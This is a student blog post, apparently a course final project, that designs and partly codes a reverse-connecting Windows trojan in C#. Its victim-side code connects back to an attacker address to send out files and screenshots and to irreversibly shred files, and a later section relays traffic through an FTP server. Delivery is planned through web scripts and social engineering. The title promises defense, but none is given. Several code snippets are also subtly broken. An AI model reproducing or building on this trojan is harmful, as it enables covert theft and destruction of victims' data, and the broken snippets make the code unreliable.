2018-2019-2 20165314『网络对抗技术』Final:反弹木马的剖析与防御

2018-2019-2 20165314『网络对抗技术』Final:反弹木马的剖析与防御

实践规划

通过自学,掌握木马的攻击原理,初步实现一个反弹木马,主要分为服务器端(靶机)、客户端(攻击者)和一个代理服务器端,其中客户端包括控制程序和配置程序两部分,代理服务器端提供转发数据功能以防止反跟踪。

我要开始赶鸭子上架了

初步规划做一个针对windows的远程控制型第六代木马,利用网页脚本植入,不采用C/S结构的直接通信方式,而是通过一个代理服务器传输数据。如果最后结果跟这个有出入就当我没说过这句。

实践原理

反弹端口型木马系统基于TCP/IP协议体系建立通信,通过对在线FTP服务器文件读写获取连接信息,实现反弹端口连接功能。客户端采用界面化管理方式,实现对服务端的CMD命令控制。

隐蔽性是木马程序的重要特性,与病毒相比,一般的木马程序并不具备破坏性,它寄生在用户计算机系统中,通过获取当前用户的操作权限,进行比如添加删除程序,修改注册表,窃取用户机密信息等恶意工作。

就近年来的木马进行分析,木马的功能大致如下:

(l)自动搜索已感染木马的计算机;

(2)对文件系统进行控制,如查看、拷贝、传输、删除文件等;

(3)实现程序的远程打开;

(4)实时监控屏幕信息;

(5)对计算机输入输出控制权接管;

(7)记录、监视按键顺序、系统信息等一切操作;

(8)随意修改注册表;

(9)恶意安装程序,修改计算机环境等。[1]

本次实践预计对以上功能中的(1)、(2)、(3)功能进行实现

实践内容

本次实践基于windows下的vs2017,程序由C#进行编写,并对完成程序进行一些非代码层次操作以实现社会工程学攻击目的。

主控端设计

1、界面设计

1.1启动监听按钮

点击后对本机指定端口开启监听,并在成功建立与目标机连接后提示

1.2目标地址

建立连接后显示目标机器的ip地址,这个文本框内的数据是只读类型的

1.3指令栏

建立连接后在指令栏中选择要进行的操作,如果连接未建立、未选择指令或选择了有操作对象的指令类型但没选择对象时提示

1.4文件目录

建立连接后显示目标机器的文件目录,选择某个目录展开该目录下的子目录结构

1.5文件列表

在1.4中选择目录后在1.5中显示该目录下的文件,显示内容包括文件名、创建日期、文件大小

1.6存储路径选择

用于修改获取文件类功能所获取文件存储路径,若路径不存在则提示

2、功能实现

2.1监听

编辑点击按钮事件,点击后实例化一个tcp监听类,并开启监听,监听到连接请求则将一个定义的标志符置为真,并获取请求端ip地址

核心代码:

TcpListener listen = new TcpListener(5314);
string ReomteIP;
listen.Start();
TcpClient client = listen.AcceptTcpClient();
client = listen.AcceptTcpClient();
bool IsConnect = client.Connected;
if(IsConnerct)
{
    ReomteIP = client.RemoteEndPoint.ToString();
}
2.2显示目标地址

连接成功后,获取链接的RemoteEndPoint属性转换为string类型输出即可
TargetAddr.Text = StartListening.RemoteIP;

2.3指令栏

在确认指令按钮的事件中对选择指令的规则进行约束,若不符合规则则弹出消息框,不执行指令;对符合规则的指令,采用“指令码”+“带路径的文件名”形式写入数据流发送给受控端

核心代码:

switch (CommandCode)
{
    case 1:
        if(this.FileList.SelectedItems.Count == 0)
        {
        MessageBox.Show("请选择要获取的文件","信息提示",ageBoxButtons.OK,MessageBoxIcon.Information);
        return;
        }
        else Execution(CommandCode);
        return;
    case 4:
        if(this.FileList.SelectedItems.Count == 0)
        {
        MessageBox.Show("请选择要粉碎的文件","信息提示",ageBoxButtons.OK,MessageBoxIcon.Information);
        return;
        }
        else Execution(CommandCode);
        return;
    case 5:
        MessageBox.Show("请选择要执行的指令","信息提示",MessageBoxButtons.OK,MessageBoxIcon.Information);
        return;
    default:
        Execution(CommandCode);
        return;
}
……

2.4目录栏
2.4.1初始化

遍历计算机中所有逻辑驱动器名称(盘符),实例化DriveInfo对象用于记录硬盘节点信息,在目录栏中添加各个硬盘对应节点

核心代码:

foreach (string drive in Environment.GetLogicalDrives())
{
    //实例化DriveInfo对象
    var dir = new DriveInfo(drive);
    switch (dir.DriveType)           //判断驱动器类型
    {
    case DriveType.Fixed:        //仅取固定磁盘盘符 Removable-U盘 
    {
        //Split仅获取盘符字母
        TreeNode tNode = new TreeNode(dir.Name.Split(':')[0]);
        tNode.Name = dir.Name;
        tNode.Tag = tNode.Name;
        tNode.ImageIndex = IconIndexes.FixedDrive;    //设置获取结点显示图片
        tNode.SelectedImageIndex = IconIndexes.FixedDrive;//设置选择显示图片
        DirectoryTree.Nodes.Add(tNode);               //加载驱动节点
        tNode.Nodes.Add("");
    }
    break;
    case DriveType.Removable:
    {
        TreeNode tNode = new TreeNode(dir.Name.Split(':')[0]);
        tNode.Name = dir.Name;
        tNode.Tag = tNode.Name;
        tNode.ImageIndex = IconIndexes.FixedDrive;
        tNode.SelectedImageIndex = IconIndexes.FixedDrive;
        DirectoryTree.Nodes.Add(tNode);  
        tNode.Nodes.Add("");
    }
    break;
}
rootNode.Expand();   //展开树状视图
2.4.1展开子目录

自定义TreeViewItems类的方法用于加载子目录,在点击父目录后获取该目录下一级所有文件夹,添加子节点后展开

核心代码:

string[] dics = Directory.GetDirectories(path);
foreach (string dic in dics)
{   
    TreeNode subNode = new TreeNode(new DirectoryInfo(dic).Name);  //实例化
    subNode.Name = new DirectoryInfo(dic).FullName;               //完整目录
    subNode.Tag = subNode.Name;
    subNode.ImageIndex = IconIndexes.ClosedFolder;               //设置获取节点显示图片
    subNode.SelectedImageIndex = IconIndexes.OpenFolder;        //设置选择节点显示图片
    tNode.Nodes.Add(subNode);
    subNode.Nodes.Add("");                                     //加载空节点 实现+号
}
2.5文件列表

将目录栏中选中的目录作为路径,获取该目录下一级所有文件夹,获取属性后添加节点

核心代码:

//数据更新 UI暂时挂起直到EndUpdate绘制控件,可以有效避免闪烁并大大提高加载速度
FileList.BeginUpdate();
DirectoryInfo dir = new DirectoryInfo(path);
FilePathPublic = path;                     //获取当前目录文件列表
FileInfo[] fileInfo = dir.GetFiles();     
for (int i = 0; i < fileInfo.Length; i++)
{   
    ListViewItem listItem = new ListViewItem();
    listItem.Text = "[" + (i + 1) + "] ";     //序列
    listItem.ForeColor = Color.Blue;          //设置行颜色
    listItem.SubItems.Add(fileInfo[i].Name);  //显示文件名
    length = fileInfo[i].Length;              //获取当前文件大小字节 
    istItem.SubItems.Add(Math.Ceiling(decimal.Divide(length, 1024)) + " KB");
    listItem.SubItems.Add(fileInfo[i].Extension + "文件");   //加载数据至FileList
    this.FileList.Items.Add(listItem);
}
//结束数据处理,UI界面一次性绘制 否则可能出现闪动情况
FileList.EndUpdate();
2.6存储路径修改

对输入的存储路径进行判断,若路径不存在则提示

if (!Directory.Exists(StoreAddr.Text))
{
    MessageBox.Show("请选择有效的地址","信息提示",MessageBoxButtons.OK,MessageBoxIcon.Information);
    return;
}

受控端设计

受控端出于隐蔽性需求,不需要设计特意GUI,采用默认的form窗体就行,这里着重介绍受控端实现的功能

1、功能介绍

1.1回连

受控端启动后,定期向主控端发起连接请求,连接成功后等待主控端传来的指令。

1.2获取文件

收到主控端发来的指令后执行,将指定的文件传回主控端

1.3获取截屏

收到主控端发来的指令后执行,截取当前屏幕并保存,将截屏的文件传回主控端,并删除本地文件

1.4留言

(该功能的想法来着于小时候家里电脑遭受的一次攻击,那个比攻击者在我家的电脑屏幕上留了一段消息,然后电脑无法正常启动,导致了接下来一段时间我无电脑可玩)

收到主控端发来的指令后执行,接收主控端发来的word文档,文档内容可在主控端自行编辑

1.5粉碎文件

收到主控端发来的指令后执行,粉碎指定文件(非删除,不可找回)

2、功能实现

2.1回连

程序启动后实例化一个Tcpclient类进行连接请求,成功后获得一个绑定该连接的流,并开启一个缓冲流用于读取流文件

TcpClient tc = new TcpClient("192.xxx.xxx.xxx", 5314);
NetworkStream ns = tc.GetStream(); 
BufferedStream sr = new BufferedStream(ns);
StreamReader sread = new StreamReader(ns); 
2.2文件获取

读取主控端传来的文件流中的文件地址,将该文件复制到另一个流中传回主控端

string[] cmd = new string[2];
StreamReader rc = new StreamReader(sread);
while (rc.Peek() != -1)
{
    cmd = rc.ReadLine().Split(' ');
    cmd[1] = cmd[1].Replace("\0", "");               
}
……
if(!Directory.Exists(cmd[1]))
{
    StreamWriter sw = new StreamReader(ns);
    FileStream fs = new FileStream(cmd[1], FileMode.Open);
    contentLen = fs.Read(buff, 0, buffLength);
    while (contentLen != 0)
    {
        sw.Write(buff, 0, contentLen);
        contentLen = fs.Read(buff, 0, buffLength);
    }
    fs.Close();
}
2.3获取截屏

实例化一个矩形类对整个屏幕进行截取,保存到当前文件夹后上传,最后粉碎该文件

Rectangle tScreenRect = new Rectangle(0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Bitmap tSrcBmp = new Bitmap(tScreenRect.Width, tScreenRect.Height); // 用于屏幕原始图片保存
Graphics gp = Graphics.FromImage(tSrcBmp);
gp.CopyFromScreen(0, 0, 0, 0, tScreenRect.Size);
gp.DrawImage(tSrcBmp, 0, 0, tScreenRect, GraphicsUnit.Pixel);
tSrcBmp.Save(Directory.GetCurrentDirectory() + "\\" + FileName);
UpLoad(Directory.GetCurrentDirectory() + "\\" + FileName);
Crash(Directory.GetCurrentDirectory() + "\\" + FileName);
2.3留言

获取接收到的文件流中以字符串形式保存的留言内容,在程序运行目录下新建一个wrod文档并写入

string path = Directory.GetCurrentDirectory() +"\\Example.doc";
FileStream fs = new FileStream(path, FileMode.Append);
StreamWriter sw = new StreamWriter(fs);
sw.WriteLine(cmd[1]);
sw.Flush();
sw.Close();
2.4粉碎文件

使用加密服务提供程序CSP实现加密随机数生成器,将生成的随机数填充入目的文件中,以达到不可复原的效果

byte[] dummyBuffer = new byte[512];
RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider(); //使用加密服务提供程序CSP实现加密随机数生成器
FileStream inputStream = new FileStream(Filepath, FileMode.Open);
inputStream.Position = 0;
for (int sectorsWritten = 0; sectorsWritten < sectors; sectorsWritten++)
{
    rng.GetBytes(dummyBuffer);//加密随机值填充数组
    inputStream.Write(dummyBuffer, 0, dummyBuffer.Length);
    sectorsWritten++;
}
inputStream.SetLength(0);
inputStream.Close();

3、运行流程

4、遇到的问题

连接建立成功之后,传输一次后连接直接关闭,无法再次使用,这是因为在C#中实例化的tcpclient类默认采用的是用于单次传输的短连接(short connection),经过自学最终还是没学会如何建立一次传输后不会关闭的长连接( persistent connection),尝试在新端口建立回传连接也不成功,经过老师的指导我决定改变通信的方式,通过建立一个ftp服务器来存储主控端的指令和受控端获取的文件

5、搭建FTP服务器

参考百度经验,在第四步出现无法开启windows服务的情况,查找对应错误码发现是我的系统太久没更新的原因,(what?这个从另一门课大作业就开始困扰我的问题居然只是我**的系统没升级?)花了一个下午更新系统后搭建了一个简易的ftp服务器

(确实很简易哦)

6、修改代码

主要是将主控端和受控端之间的tcp连接改为向ftp服务器的连接请求
例如:

string FileName = '/' + LocalPath.Split('\\')[LocalPath.Split('\\').Length - 1];
string FTPPath = FTPAddress + FileName;
FtpWebRequest reqFtp = (FtpWebRequest)FtpWebRequest.Create(new Uri(FTPPath));
reqFtp.UseBinary = true;
reqFtp.Credentials = new NetworkCredential(FTPUsername, FTPPwd); //设置通信凭据
reqFtp.KeepAlive = false; //请求完成后关闭ftp连接

参考文献:

[1] 木马攻击与隐蔽技术研究
[2] 线程注入式无进程木马的实现原理
[3] 木马技术研究及反弹木马系统的设计与实现

posted @ 2019-05-21 09:02  飞翔的章帅  阅读(460)  评论(0编辑  收藏  举报